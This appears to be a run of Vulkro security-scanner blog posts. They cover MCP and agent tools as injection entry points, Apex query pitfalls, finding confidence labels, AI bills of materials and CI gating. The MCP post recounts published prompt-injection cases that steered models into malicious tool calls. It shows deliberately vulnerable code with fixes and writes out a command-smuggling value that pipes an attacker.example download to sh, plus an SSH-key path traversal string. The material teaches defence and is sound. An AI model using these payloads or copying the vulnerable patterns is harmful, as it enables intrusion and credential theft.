So we stopped treating tools as internal functions. Since Vulkro 0.30.0, MCP server tools and AI agent tools are entry points, the same as HTTP routes: a tool whose argument reaches a shell, a query or a file is reported, with the path from the argument to the call.

This post is about the tools you write. If you want the wider picture (unpinned MCP servers in your config, a vulnerable proxy, an agent with a token that reaches every repository), we covered that in MCP servers are the new attack surface. Checking the code an agent writes for you is in securing AI coding agents.

Why a tool argument is attacker input​

The OWASP Top 10 for LLM Applications 2025 ranks prompt injection first. Its indirect form is the one that matters here: the model reads content from an outside source (a web page, a document, a log, an issue) and that content changes what the model does. OWASP lists "executing arbitrary commands in connected systems" among the possible results (LLM01:2025).

The connected systems are your tools. A model does not run commands on its own. It calls a tool, with arguments, and the tool runs whatever its code does with them.

OWASP names the second half of the problem separately. LLM06:2025 Excessive Agency is the risk that an LLM system takes damaging actions because its output was unexpected or manipulated, and it lists three root causes: too much functionality, too many permissions and too much autonomy. A tool that hands its argument to a shell is excessive functionality in its purest form. It asks for a Kubernetes namespace and accepts a shell pipeline.

Put the two together and the threat model is simple. Anyone who can put text in front of the model can choose your tool's arguments. That makes every tool parameter a request parameter.

It already happened, in published servers​

This is not theory. Three cases from 2025, each from a primary source:

A Kubernetes server and a pod log. The GitHub advisory for mcp-server-kubernetes (CVE-2025-53355) describes tool parameters placed unsanitised into shell command strings run through child_process.execSync. Its proof of concept is the interesting part: the model is asked to read pod logs, the log contains instructions, and the model then calls kubectl_scale with a malicious namespace value, without the user asking. Fixed in 2.5.0.

A design-file server and a file key. The advisory for figma-developer-mcp (CVE-2025-53967) says the get_figma_data tool passed its fileKey into a curl command built for child_process.exec. Shell metacharacters in the key ran commands with the server's privileges. Fixed in 0.6.3, and the advisory's own recommendation is execFile with an argument array.

A database server and a string-built query. Trend Micro reported that the reference SQLite MCP server, published as a demo, "directly concatenates unsanitized user input into an SQL statement" (Trend Micro). The repository had been archived, so no patch was planned, and by then it had been forked more than 5,000 times. Trend Micro's point was that a SQL injection in an agent's database tool can be used to plant text the agent later reads as instructions.

None of these is a new kind of bug. They are command injection and SQL injection, the oldest entries in the book, sitting behind an entry point that nobody counted as one.

What the vulnerable code looks like​

Here is a small MCP server in TypeScript with the same shape as the first two advisories:

import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { exec } from "node:child_process";
import { z } from "zod";

const server = new McpServer({ name: "ops", version: "1.0.0" });

server.registerTool(
  "tail_logs",
  { description: "Show recent logs for a service", inputSchema: { service: z.string() } },
  async ({ service }) => {
    const out = await new Promise<string>((resolve, reject) =>
      exec(`journalctl -u ${service} -n 100`, (err, stdout) => (err ? reject(err) : resolve(stdout))),
    );
    return { content: [{ type: "text", text: out }] };
  },
);

service is typed as a string, and the schema does nothing else. nginx; curl https://attacker.example/x | sh is a string. The fix is to stop involving a shell and to accept only what the tool needs:

import { execFile } from "node:child_process";

const SERVICES = new Set(["nginx", "api", "worker"]);

server.registerTool(
  "tail_logs",
  { description: "Show recent logs for a service", inputSchema: { service: z.string() } },
  async ({ service }) => {
    if (!SERVICES.has(service)) throw new Error(`unknown service: ${service}`);
    const out = await new Promise<string>((resolve, reject) =>
      execFile("journalctl", ["-u", service, "-n", "100"], (err, stdout) => (err ? reject(err) : resolve(stdout))),
    );
    return { content: [{ type: "text", text: out }] };
  },
);

The same pattern in Python, with a database and a file:

from mcp.server.fastmcp import FastMCP
import sqlite3

mcp = FastMCP("notes")
db = sqlite3.connect("notes.db")

@mcp.tool()
def find_notes(author: str) -> list:
    return db.execute(f"SELECT title FROM notes WHERE author = '{author}'").fetchall()

@mcp.tool()
def read_attachment(name: str) -> str:
    with open(f"/srv/attachments/{name}") as f:
        return f.read()

author is a SQL injection. name is a path traversal: ../../home/app/.ssh/id_rsa stays a valid string. Fixed:

from pathlib import Path

BASE = Path("/srv/attachments").resolve()

@mcp.tool()
def find_notes(author: str) -> list:
    return db.execute("SELECT title FROM notes WHERE author = ?", (author,)).fetchall()

@mcp.tool()
def read_attachment(name: str) -> str:
    path = (BASE / name).resolve()
    if not path.is_relative_to(BASE):
        raise ValueError("attachment outside the allowed folder")
    return path.read_text()

Note the containment check uses is_relative_to on resolved paths, not a string prefix. A prefix check treats /srv/attachments-private as inside /srv/attachments, which is exactly the class of bug behind the filesystem server CVE in our earlier post.

Agent frameworks have the same shape. A tool defined for an agent loop with the Vercel AI SDK, or a LangChain @tool, takes model-chosen arguments into an execute function or a decorated function body. Where that body builds a query, a command or a path, the model, and anyone who can steer it, builds it too.

What changed in Vulkro 0.30.0​

Before 0.30.0, a tool handler was just a function to the scan engine. Data-flow analysis starts at entry points, so a handler that no route reached looked like code with no caller, and a flow from its parameter to exec had no source to start from. MCP server source was covered by a separate command, vulkro scan-mcp-server, which looks for MCP-specific shapes such as tool descriptions built at runtime (reference).

Now the regular vulkro scan registers tools as entry points next to routes:

• MCP server tools in TypeScript and JavaScript (server.tool and registerTool on the official SDK).
• MCP server tools in Python, through FastMCP and the low-level server.
• AI agent tools: LangChain @tool and StructuredTool in Python, and in JavaScript and TypeScript, LangChain tools, Vercel AI SDK tools, and the plain shapes many agent loops use (an object that maps tool names to functions, or a switch on the tool name).

From there, a tool parameter is a source like a request parameter. The engine follows it through your functions to a shell call, a query or a file operation and reports the path hop by hop, with the file and line of each step. Severity comes from the same model as for routes: who can reach the code, what is at stake, whether the path is proven and whether a guard stands in the way. An agent tool that runs inside an authenticated route inherits that route's authentication, so a tool behind a login is not rated as if it were open to the internet.

Each tool also shows up in the endpoint list with its handler and guards, so the inventory of what can be called from outside your code finally includes what a model can call.

What it does not tell you​

Three honest limits.

A finding means we traced a path from a tool argument to a sink with no check we recognise in between. If you validate with a function we cannot see through, the finding may still appear, and vulkro prove shows exactly which hops the claim rests on so you can judge it.

No finding means no path was found, not that the tool is safe. A sink reached through dynamic dispatch the call graph does not follow is not traced, and vulkro why-not tells you why a given line was not reported.

And static analysis cannot see the scope of a token or the autonomy you gave the agent. A tool that only reads, behind a token that can write everywhere, is a configuration problem, and OWASP's LLM06 advice (least privilege, user approval for high-impact actions) still applies.

Where to see it​

Run vulkro scan . on a repository with an MCP server or an agent, then look at the endpoint list: your tools are there next to your routes, and any tool whose argument reaches a shell, a query or a file is reported with its path. The attack paths reference explains how paths are drawn, and taint analysis explains sources and sinks.

To install Vulkro and run your first scan, start here. For how Vulkro fits into agent workflows more broadly, see Vulkro for AI coding agents.

Sources​

• OWASP GenAI Security Project, LLM01:2025 Prompt Injection
• OWASP GenAI Security Project, LLM06:2025 Excessive Agency
• GitHub Advisory Database, GHSA-gjv4-ghm7-q58q (CVE-2025-53355): mcp-server-kubernetes command injection
• GitHub Advisory Database, GHSA-gxw4-4fc5-9gr5 (CVE-2025-53967): figma-developer-mcp command injection
• Trend Micro, Why a classic MCP server vulnerability can undermine your entire AI agent, June 2025

This post walks through three such details. Each one hid real findings in our own engine until vulkro-sf 0.27.0, and each one is just as easy to miss in a manual review. For every case there is vulnerable code, the reason it is vulnerable, and a fixed version.

1. Apex ignores case, and comments are not code​

The Apex Developer Guide is explicit that Apex is case-insensitive, like SOQL and SOSL: variable and method names, object and field references and query keywords all match regardless of capitalisation. Most developers write Database.query because the documentation does. The compiler accepts anything.

public with sharing class AccountSearch {
    @AuraEnabled
    public static List<Account> find(String name) {
        String q = 'SELECT Id, Name FROM Account WHERE Name = \'' + name + '\'';
        return DataBase.Query(q);
    }
}

This is a textbook SOQL injection. A rule written for Database.query( passes it as clean. The same is true for DML: Update acc; is an update statement, and a matcher looking for the lowercase keyword does not see it.

Case cuts the other way too. String.ESCAPESINGLEQUOTES(name) is the platform's escaping method. A tool that only recognises the canonical spelling will not credit it, and will report a query that is actually escaped.

Comments are the mirror problem. // insert the record after validation contains the word insert, and a tool that searches text rather than code will treat it as a DML statement. That produces findings on lines that do nothing.

The fix for the query itself is a static query with a bind variable, which leaves nothing to inject:

public with sharing class AccountSearch {
    @AuraEnabled
    public static List<Account> find(String name) {
        return [SELECT Id, Name FROM Account WHERE Name = :name WITH USER_MODE];
    }
}

2. An access check guards one operation, not the whole path​

Apex database operations historically run in system mode: they do not check the running user's object and field permissions unless the code asks for it. The code can ask in several ways: a describe check such as isUpdateable(), WITH USER_MODE on a query, as user on a DML statement, or Security.stripInaccessible on the records. Each one protects the operation it is attached to. None of them protects the method.

public with sharing class ClaimService {
    @AuraEnabled
    public static void attachDocument(Id claimId, String fileName) {
        if (!Schema.sObjectType.Claim__c.isUpdateable()) {
            throw new AuraHandledException('Not allowed');
        }
        Claim__c c = [SELECT Id, Status__c FROM Claim__c
                      WHERE Id = :claimId WITH USER_MODE];
        c.Status__c = 'Documents received';
        update c;

        insert new Claim_Document__c(Claim__c = claimId, Name = fileName);
    }
}

Read top to bottom, this method looks careful. There is a permission check and a user-mode query. But look at what each one covers:

• isUpdateable() checks object-level edit access on Claim__c. It says nothing about the Status__c field and nothing about Claim_Document__c.
• WITH USER_MODE applies to the query it sits in. The update two lines later runs in the class's default mode.
• The insert of Claim_Document__c has no check at all. A user who cannot create claim documents through the UI can create them by calling this method.

A tool that clears the whole method because it saw an access check somewhere on the path will report nothing here. We did exactly that before 0.27.0.

The fix gives each operation its own enforcement:

public with sharing class ClaimService {
    @AuraEnabled
    public static void attachDocument(Id claimId, String fileName) {
        Claim__c c = [SELECT Id, Status__c FROM Claim__c
                      WHERE Id = :claimId WITH USER_MODE];
        c.Status__c = 'Documents received';
        update as user c;

        insert as user new Claim_Document__c(Claim__c = claimId, Name = fileName);
    }
}

User-mode DML enforces object permissions, field permissions and sharing for that statement. Where you would rather drop fields the user cannot write than fail, Security.stripInaccessible(AccessType.CREATABLE, records) followed by an insert of the returned records does the same job, as long as you insert what it returns and not the original list.

The Apex Developer Guide notes that for code saved at API version 67.0 or later, user mode is the default. Code saved at older versions keeps the older behaviour, and most orgs have plenty of it, so it is worth checking the version on any class that writes data.

3. Escaping one piece does not make the query safe​

String.escapeSingleQuotes is the platform's escape hatch for dynamic SOQL. Salesforce's own SOQL injection guidance prefers static queries with bind variables, and offers escaping for the cases where a dynamic query cannot be avoided. Escaping protects one value, inside quotes. Dynamic queries are rarely one value.

public with sharing class CaseSearch {
    @AuraEnabled
    public static List<Case> search(String subject, String sortField) {
        String q = 'SELECT Id, Subject FROM Case WHERE Subject LIKE \'%'
            + String.escapeSingleQuotes(subject) + '%\''
            + ' ORDER BY ' + sortField;
        return Database.query(q);
    }
}

The subject value is escaped and sits inside quotes, so it is fine. The sortField value is appended raw. Anyone who can call the method controls the end of the query. A tool that sees escapeSingleQuotes in the expression and marks the whole string as sanitised misses it.

Two related traps follow the same logic:

• An escaped value outside quotes protects nothing. '... WHERE Amount > ' + String.escapeSingleQuotes(minAmount) has no quote to break out of, so escaping has no effect and the value is still injectable.
• Lists hide the raw value. Code that builds a list of conditions, escapes some of the values it adds and then joins the list into the query has the same problem as the string above: one escaped entry does not clean the others.

The fix is to bind the values and allowlist anything that cannot be bound, such as a field name:

public with sharing class CaseSearch {
    private static final Set<String> SORTABLE =
        new Set<String>{ 'Subject', 'CreatedDate' };

    @AuraEnabled
    public static List<Case> search(String subject, String sortField) {
        if (!SORTABLE.contains(sortField)) {
            sortField = 'CreatedDate';
        }
        Map<String, Object> binds = new Map<String, Object>{
            'pattern' => '%' + subject + '%'
        };
        return Database.queryWithBinds(
            'SELECT Id, Subject FROM Case WHERE Subject LIKE :pattern ORDER BY ' + sortField,
            binds,
            AccessLevel.USER_MODE
        );
    }
}

The search value is now a bind variable, the sort field can only be one of two known names, and the query runs in user mode.

What changed in vulkro-sf 0.27.0​

All three are fixes to the Apex engine that vulkro-sf scan runs:

• Apex calls are found whatever their capitalisation. DataBase.Query(q), Update acc; and String.ESCAPESINGLEQUOTES(x) are recognised as the platform calls they are, so the first example is reported as SOQL injection (apex-taint-soql-injection) and an escape in capitals is credited as an escape. A comment that mentions a keyword no longer counts as code.
• Access checks protect only the operation they guard. A CRUD or field-level security check on one object, or a WITH USER_MODE read, no longer clears an unguarded insert or update of another object on the same path. In the second example the Claim_Document__c insert is reported (apex-taint-crud-fls), and the finding names the unprotected operation rather than the first data access on the path.
• An escaped value no longer hides a raw one. In a dynamic query built from several pieces, escaping one piece no longer marks the whole query as safe, and the same holds for values added to a list. The sortField in the third example is reported. An escaped value placed outside quotes has its own check, escape-single-quotes-call.

All three find bugs we used to miss. The case and comment handling also removes findings that should never have been reported, such as an escaped query whose escape was spelled in capitals. We would rather tell you both than present a recall gain on its own.

One limit worth stating: these are source checks. They tell you that an operation runs without enforcement and whether untrusted input reaches it. Whether that matters in your org depends on who can call the class, which is where profile and permission set metadata come in. When a guest profile can call the method, the finding becomes part of the guest attack path we walked through in the anatomy of a guest user data leak.

Where to see it​

Run vulkro-sf scan ./force-app on your project, or install the VS Code extension to see these findings on the line while you write Apex. The Apex detectors page lists what the engine checks, and the scan reference covers the flags. More on Vulkro for Salesforce is on the Salesforce page. To get set up, start here.

Sources​

• Salesforce, Apex Developer Guide: Variables (case sensitivity)
• Salesforce, Apex Developer Guide: Enforce User Mode for Database Operations
• Salesforce, Apex Developer Guide: Enforce Security with the stripInaccessible Method
• Salesforce, Apex Developer Guide: SOQL Injection
• Salesforce, Apex Developer Guide, PDF edition

Most scan output presents all three the same way: a rule, a line and a severity. The reader has to work out which kind each row is, usually by opening the file and tracing the code by hand. Multiply that by a few hundred rows and it becomes the reason teams stop reading the results.

Vulkro gives every finding one of three labels instead. Proven, unproven or not checked. This post explains what each one means, what changed in how they drive severity, and why an empty proof never means the code is safe.

Why the label matters​

The cost of a false positive is not the minute it takes to dismiss one row. It is trust. In a 2013 ICSE study, Johnson, Song, Murphy-Hill and Bowdidge interviewed 20 developers about why they did or did not use static analysis. All of them saw value in it, yet false positives and the way warnings were presented came up as barriers to use.

The engineers who built static analysis at Google reached the same conclusion from operating it at scale. In "Lessons from Building Static Analysis Tools at Google" (Communications of the ACM, 2018), Sadowski and colleagues define an "effective false positive" as an issue developers took no positive action on, whatever the tool's own view of it. Checks shown in code review had to stay under 10% effective false positives. They also describe an earlier code-review integration that was discontinued in part because effective false positives made developers lose confidence in the tool.

OWASP's page on source code analysis tools lists "High numbers of false positives" among the weaknesses of the category, next to another one that is the heart of this post: it is difficult to "prove" that an identified issue is an actual vulnerability.

So the useful question is not only "is this a real bug?" It is "how much should I believe this row before I open the file?" A label answers that.

The three answers​

Every Vulkro finding carries a disposition. On the command line and in JSON they are named admitted, demoted and not-examined. In the console and the docs they read as proven, unproven and not checked.

Proven. The finding is backed by something a machine can check: a traced data flow from source to sink, a verified secret, a matched dependency advisory, or a decisive code shape such as a non-literal format string. This is the tier we stand behind.

Unproven. The pattern matched, but the scanner could not establish the path. Perhaps the value passed through a library it cannot see into, or the query is built in a helper whose inputs it could not resolve. These are real leads, not proof. They are reported, not hidden.

Not checked (not-examined). The finding belongs to a class that source analysis cannot decide offline. Object-level and function-level authorization are the main example: whether a lookup by id is safe depends on a permission class, a global interceptor or a security configuration that may live somewhere the rule did not read. The scanner flags the shape and says plainly that it did not decide it.

What it looks like in code​

A proven finding, in Flask:

@app.route("/users")
def users():
    name = request.args["name"]
    cur.execute("SELECT * FROM users WHERE name = '%s'" % name)
    return jsonify(cur.fetchall())

The value goes from request.args straight into the query string in one handler. The trace has two hops and both are visible. That is proof. The fix is a bound parameter:

@app.route("/users")
def users():
    name = request.args["name"]
    cur.execute("SELECT * FROM users WHERE name = %s", (name,))
    return jsonify(cur.fetchall())

An unproven finding looks like this:

@app.route("/report")
def report():
    cur.execute(build_report_query(request.args))
    return jsonify(cur.fetchall())

If build_report_query comes from a package the scanner cannot analyse, there is a raw execute on something derived from the request, and no way to show what happens in between. It may be safe. It may not. The honest answer is "unproven", and a human should look.

A not-checked finding is the classic object lookup:

class InvoiceDetail(APIView):
    def get(self, request, pk):
        return Response(InvoiceSerializer(Invoice.objects.get(pk=pk)).data)

Nothing in these lines ties the invoice to the caller. Whether something elsewhere does (a permission_classes default in settings, a queryset filter in a base class) is not decidable from this view alone, and the finding says so.

What changed in severity​

Labels are only useful if they change what you see first. Two releases made that happen.

Earlier, Critical was reserved for findings backed by a proven data flow: a finding that only matched a name or a shape stopped claiming Critical.

Since 0.29.0, the rule is stronger. A Critical or High finding keeps that severity only when it is backed by proof. Unproven rows are still reported, at Medium. The top of the list is therefore made of findings you can act on without re-deriving them, and the rest stay one level down instead of disappearing.

Some practical consequences:

• The summary line shows the full breakdown: how many findings were found, how many are proven, how many unproven and how many not checked.
• vulkro scan --disposition admitted (or demoted, or not-examined) narrows the table to one tier. It is a display filter only. It does not change which findings exist, the exit code or the JSON and SARIF output, where every finding already carries its disposition.
• Findings whose disposition is not-examined never fail a --fail-on gate, at any severity. They stay in the report, and a warning says how many were withheld from the gate.
• --all-confidence shows everything, including low-confidence rows that are hidden from the default view.
• The console leads the findings view with the same breakdown, with one-click filtering to each group.

An empty proof never means safe​

The MCP server that AI coding agents use has a prove tool. Given a finding, it returns the hop-by-hop proof chain behind it. When the chain comes back empty, the meaning is precise: no proven data flow was found. It does not mean the code is safe, and the tool description says so in those words, because an agent reading the result needs to be told as clearly as a person does.

The same rule applies to vulkro verify, which checks another tool's SARIF results against Vulkro's own analysis and marks each one proven, not provable (with the reason) or not checked. "Not provable" is a statement about what Vulkro could establish, not a verdict that the other tool was wrong.

Treating "could not prove" as "safe" is how real bugs get closed as false positives. Treating it as "unproven" keeps them in view at a severity that matches what is known.

Why not just drop the unproven rows?​

Because a scanner that only reports what it can prove misses real bugs, and some of the most damaging classes (broken access control in particular) are the hardest to prove from source. Dropping them would make the output look cleaner and the application less safe.

The trade we chose is ordering, not deletion. Proof earns the top of the list. Everything else stays reported, labelled with how much we know. If you want the strictest view for a CI gate, filter on the disposition. If you want everything for a review, use --all-confidence.

This is one of three things we try to keep honest, alongside what a scan actually read and who can reach the code. For the opposite question, why nothing was reported at a line, see why did the scanner not flag this.

Where to see it​

Run vulkro scan and read the summary line, then try --disposition admitted. The confidence model explains how confidence and disposition differ, the MCP server docs cover prove and verify_sarif, and the taint analysis page explains how a data flow becomes proof. To get set up, start here.

None of that is unusual. AI components arrive the way dependencies always have: one import at a time, by whoever needed them that week. The difference is that more people now want a list. Regulators, customers' security reviews and your own incident response all start with the same question, and "we use one provider" is rarely the full answer.

So Vulkro builds the list from the code itself. --format aibom writes an AI bill of materials: the LLM SDKs, model identifiers, model files and MCP servers a project uses, each with the file and line that proves it is there.

Why the inventory comes first​

You cannot assess, document or defend a component you have not found. That is true of open-source dependencies, which is why the SBOM became routine, and it is true of AI components.

Regulation sorts obligations by what you have. The EU AI Act entered into force on 1 August 2024. The European Commission's overview lays out four risk levels (unacceptable, high, transparency and minimal) and dates that differ by category: obligations for general-purpose AI models from 2 August 2025, most of the Act from 2 August 2026, and, after the 2026 amendment that moved them, high-risk systems in the Annex III areas from 2 December 2027. Every one of those steps starts with knowing which AI systems you build or deploy and what they are built from. A scanner cannot classify your system for you, and the AIBOM does not try to. It answers the earlier question: what is actually in the code.

The supply chain is now partly AI. The OWASP Top 10 for LLM Applications 2025 has a supply-chain entry (LLM03), and the OWASP Top 10 for Agentic Applications, published by the OWASP GenAI Security Project in December 2025 (announcement), has one for agents (ASI04): models, MCP servers and tools that come from someone else. A vulnerable SDK version, a model file in an unsafe format, or an MCP server you did not mean to ship are supply-chain problems you can only fix once you know they exist.

Model files can run code. Many model formats are not data in the safe sense. Python's own documentation warns that the pickle module is not secure and that unpickling untrusted data can execute arbitrary code (Python docs), and several common checkpoint formats are pickle underneath. A .pt file committed to a repository is something that will run when loaded.

The format: a CycloneDX ML-BOM​

There was no need to invent a format. CycloneDX added machine-learning support in version 1.5, released in June 2023, with machine-learning-model as a component type (CycloneDX 1.5 announcement). The project calls this capability the ML-BOM and describes it as model and dataset transparency for security, privacy and safety (CycloneDX ML-BOM).

Vulkro writes a CycloneDX 1.6 ML-BOM, so the result can go into the same tooling and the same evidence folder as your regular SBOM:

vulkro scan . --format aibom > aibom.cdx.json
# or, next to your other SBOM output
vulkro sbom . --format aibom -o aibom.cdx.json

What goes into it​

Four kinds of component, each with file and line evidence:

AI SDKs and frameworks. LLM provider SDKs (for example OpenAI, Anthropic, Google, Mistral, Cohere, AWS Bedrock, Azure OpenAI and Ollama), agent and orchestration frameworks (LangChain, LlamaIndex, the Vercel AI SDK), ML frameworks and runtimes (Hugging Face transformers, PyTorch, TensorFlow, ONNX Runtime) and MCP SDKs. They are found in two places: the dependency manifests, and import statements in your own code. That second source matters. An SDK that is imported but never declared, because it arrived as a transitive dependency or someone installed it by hand, is still listed.

Model identifiers. Provider model names written as string literals in code ("gpt-4o", "claude-sonnet-4-5", "gemini-2.5-pro" and so on) and Hugging Face repository ids passed to from_pretrained, pipeline or SentenceTransformer. This is the part that usually surprises people: the background job pinned to an older model, the second provider used only in one script.

Model files in the repository. .safetensors, .pt, .pth, .onnx, .gguf, .ggml, .h5, .keras, .tflite and .mlmodel files, each with a SHA-256 hash when it is small enough to hash, and pickle-based formats flagged because they execute code when loaded.

MCP servers and tools. Servers declared in the project's MCP configs (.mcp.json, mcp.json, .cursor/mcp.json, .vscode/mcp.json) and servers defined in code (new McpServer, FastMCP(...), NewMCPServer(...)), with the tools each one registers. A tool your code exposes to a model is part of your AI surface, and since 0.30.0 it is also an entry point the scan follows (agent tools are entry points).

A component in the output looks roughly like this (trimmed):

{
  "type": "machine-learning-model",
  "name": "gpt-4o",
  "evidence": {
    "occurrences": [
      { "location": "src/jobs/summarise.ts:42" }
    ]
  }
}

The output is deterministic for a given tree, and building it is read-only and offline: nothing is executed, loaded or fetched. Model files are hashed, never opened as models.

Mapping findings to the OWASP AI lists​

An inventory says what is there. The next question is whether any of it is used unsafely, and auditors increasingly ask that question in the vocabulary of the two OWASP lists. vulkro compliance-pack has a framework for each:

vulkro compliance-pack . --framework owasp-llm-2025 -o ./evidence/llm
vulkro compliance-pack . --framework owasp-agentic-2026 -o ./evidence/agentic

Each writes a folder with a manifest, a summary, a CSV of findings and one file per control (LLM01 to LLM10, or ASI01 to ASI10), with file and line evidence (reference). A control passes with no findings, is partial with only Medium or Low findings and fails with any High or Critical one.

Some examples of what lands where:

• LLM01 and ASI01: untrusted input reaching a prompt.
• LLM05 and ASI05: model output reaching HTML, SQL, a shell, eval or a deserializer.
• LLM06 and ASI02: powerful tools with no guard, including a tool whose argument reaches a shell, a query or a file.
• LLM07: credentials written into a system prompt.
• LLM10: model calls with no token, rate or size limit, from the LLM defense pack.
• LLM03 and ASI04: the supply-chain controls, where the AIBOM supplies the list and the dependency and malicious-package checks supply the findings.

What a code scan cannot answer​

We would rather say this plainly than let a green control imply more than it means.

Some controls are mostly outside the code. Misinformation (LLM09) is not measured by a code scan. Data and model poisoning (LLM04) is mostly an operational control, and the scan adds little. Cascading failures between agents (ASI08) is an architecture concern. Rogue agents (ASI10) are detected at runtime; the scan can only supply what each agent is able to reach. The packs say this per control instead of marking those controls as passed.

The inventory has edges too. It finds what is written in the repository: a model name built at runtime from configuration, or a provider called over raw HTTP with no SDK, will not appear as a named component. And the AIBOM does not decide your risk category under the AI Act. That depends on what the system is used for, which is not in the code.

A compliance pack is one input to an audit, not the audit. It covers what is in the code, with evidence, so the people doing the rest of the work start from facts instead of a questionnaire.

Where to see it​

Run vulkro scan . --format aibom on the repository you know best and count the components you did not expect. Then run a compliance pack against one of the OWASP lists and read the controls marked partial or failed.

The output formats reference lists every format, including the regular SBOM and VEX outputs, and the compliance overview covers every framework. To install Vulkro, start here.

Sources​

• European Commission, AI Act: regulatory framework for AI
• OWASP GenAI Security Project, OWASP GenAI Security Project releases Top 10 risks and mitigations for agentic AI security, December 2025
• CycloneDX, Introducing OWASP CycloneDX v1.5, June 2023
• CycloneDX, Machine Learning Bill of Materials (ML-BOM)
• Python documentation, pickle: Python object serialization

The gate was not wrong to exist. It was asking the wrong question. "Does this repository have findings?" is almost always yes. The question a pull request can answer is narrower: "Did this change add one?"

Why does a security gate in CI get switched off?​

Two things kill a gate: old debt and noise.

Old debt is the problem above. A developer who renamed a variable cannot fix a five-year-old injection in another module, and should not be blocked by it.

Noise is the other half. Research on developer behaviour is consistent here. In interviews with 20 developers, Johnson et al. (ICSE 2013) found that while everyone saw value in static analysis, false positives and the way warnings are presented were barriers to using it. At Google, Sadowski et al. (CACM 2018) describe checks shown in code review being held to under 10% "effective false positives", and analyzers being switched off when developers mark too many results not useful. A gate that fails on guesses teaches people to ignore it.

So a gate a team keeps on has to do two things: fail only on what the change added, and fail only on findings it can stand behind.

How do you gate on new findings only?​

Vulkro offers three ways to scope a gate to the change. They trade cost against what they can see.

vulkro gate --base <ref> scans both trees and reports only findings present in the working tree but not in the base. Because it compares whole finding sets, it catches the subtle case: a change that adds a new route calling an existing, previously unreachable sink. The sink's line did not change, but the finding is new.

vulkro scan --gate-vs <ref> restricts the exit code to findings on changed lines. It is cheaper and fine for a fast lane, but it cannot see that new-caller case. Pair it with --diff-only <ref> to scan only the changed files. Vulkro for Salesforce has a flag of the same name that works differently: vulkro-sf scan --gate-vs <ref> scans the base ref as well and fails only on findings the change introduced, like gate --base. It needs vulkro-sf 0.27.3 or later.

The ratchet uses a baseline file you commit. Run vulkro baseline on a known-good commit, commit .vulkro-baseline.json, and run vulkro scan . --ratchet in CI. The scan still prints everything but exits non-zero only on findings not in the baseline. --ratchet-strict exits 2 if the file is missing, so a deleted baseline cannot silently turn the gate into a full-repository gate. When findings grow on purpose, regenerate the baseline and review the diff in a pull request. The baselines guide covers the workflow.

What should fail the build?​

Scoping decides which findings count. Severity and evidence decide whether they fail.

--fail-on sets the severities that fail the run:

vulkro scan . --fail-on critical,high

The default ci preset already fails on Critical and High. For finer thresholds, put a [quality_gate] section in vulkro.toml and pass --gate; when it is set, those thresholds win over --fail-on.

Evidence matters as much as severity. Every Vulkro finding carries a disposition: Proven, Unproven or Not checked. Not checked findings are classes Vulkro flags but cannot decide offline, such as whether a record lookup is authorised for this caller. They are reported, and a warning says how many were withheld, but they never fail the gate. Failing a build would assert a verdict the analysis did not reach. We explain the three labels in proven, unproven, not checked.

Exit codes CI can trust​

A gate is only as reliable as its exit code. Every Vulkro command follows one contract:

The distinction between 1 and 2 matters. A crash or a bad ref must never look like a pass, and must never look like a finding either. One more rule: a scan that could not read any source file is never 0. "No new findings" from two trees nobody read is empty for the wrong reason. The background is in a clean scan that did not read your code.

A GitHub Actions example​

This workflow reports every finding but fails a pull request only on what it adds:

jobs:
  scan:
    runs-on: ubuntu-latest
    env:
      VULKRO_ACCOUNT_TOKEN: ${{ secrets.VULKRO_ACCOUNT_TOKEN }}  # a CI key from the customer portal
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0   # the base ref must be in history
      - name: Install Vulkro
        run: |
          curl -fsSL https://dist.vulkro.com/install.sh | VULKRO_BIN_DIR="$HOME/.local/bin" bash
          echo "$HOME/.local/bin" >> "$GITHUB_PATH"
      - name: Report everything
        run: vulkro scan ci . --format sarif > vulkro.sarif || true
      - name: Fail on new findings
        if: github.event_name == 'pull_request'
        run: vulkro gate --base origin/${{ github.base_ref }}

Upload vulkro.sarif to your code scanning view, or use --format github-annotations to put findings on the changed lines. GitLab, Bitbucket, Jenkins and CircleCI follow the same shape; see CI/CD integration.

Pre-commit, pull request or release?​

Each stage answers a different question, so use more than one.

Pre-commit: "did I just add something?" vulkro install-hook --pre-commit writes a hook that runs the new-findings gate against HEAD before each commit, with no outbound request. --pre-push adds a fast, high-confidence scan before code leaves the machine. Hooks compose with an existing hook file, and VULKRO_SKIP_HOOKS=1 bypasses them once. Developers who see findings in the VS Code extension first rarely trip the later gates.

Pull request: "did this change add something?" vulkro gate --base or --gate-vs, as above. This is the gate that has to stay on.

Release: "is anything open that we agreed not to ship?" Here a whole-repository view is right. Run a full scan with --fail-on or your [quality_gate]. If your repositories are scanned in Vulkro Cloud, the release job can ask the issue queue directly:

vulkro cloud todo --fail-on high

It exits 1 when open issues at or above that severity exist. Suppressed, accepted-risk and advisory issues do not count, so decisions your team already made are respected.

Checklist for a security gate in CI​

• Pull requests gate on new findings only (gate --base, --gate-vs or the ratchet)
• Severity policy set once (--fail-on or [quality_gate]), in the repository
• Not checked findings reported, not blocking
• Exit 2 treated as a failed job, never retried into a pass
• fetch-depth: 0 so the base ref exists
• Pre-commit hook for fast local feedback
• A release-stage check over everything still open

Frequently asked questions​

How do I fail a CI build only on new vulnerabilities?​

Compare against the base branch. vulkro gate --base origin/main reports and fails only on findings the change added, and vulkro scan --gate-vs <ref> does the same for changed lines at lower cost.

What is a security ratchet?​

A committed list of the findings you already have. vulkro scan --ratchet fails only when a finding appears that is not on the list, so the count can go down but never up without a reviewed change to the baseline.

Should a security gate block on Medium findings?​

Usually not at first. Start with Critical and High on new findings, keep the gate on for a few weeks, then widen --fail-on if the team agrees. A gate that stays on beats a strict one that gets removed.

What exit code should a failed scan return?​

A non-zero code that differs from "findings found". Vulkro returns 1 for findings and 2 for errors, so a broken scan never passes as clean.

Where to see it​

The release gating use case shows the whole flow. The reference pages are vulkro gate, baselines, vulkro install-hook and vulkro cloud. To wire it into your pipeline, start here.

Severity is a property of the vulnerability. Risk is a property of the vulnerability in your project: whether the package ships, whether attackers are using the bug, and whether your code ever reaches the vulnerable part. A dependency report should be ordered by those three things.

This post covers how Vulkro now uses each of them, what each one changes in the default view and the build gate, and where nothing is hidden.

Signal one: does it ship?​

Most projects declare two kinds of dependency. Production dependencies run in the deployed application. Development dependencies run on a developer's laptop or in CI: test runners, linters, bundler plugins, type generators. A vulnerable version of the second kind is still worth upgrading, but it does not reach your production runtime.

{
  "dependencies": {
    "express": "4.21.2"
  },
  "devDependencies": {
    "some-test-helper": "1.2.0"
  }
}

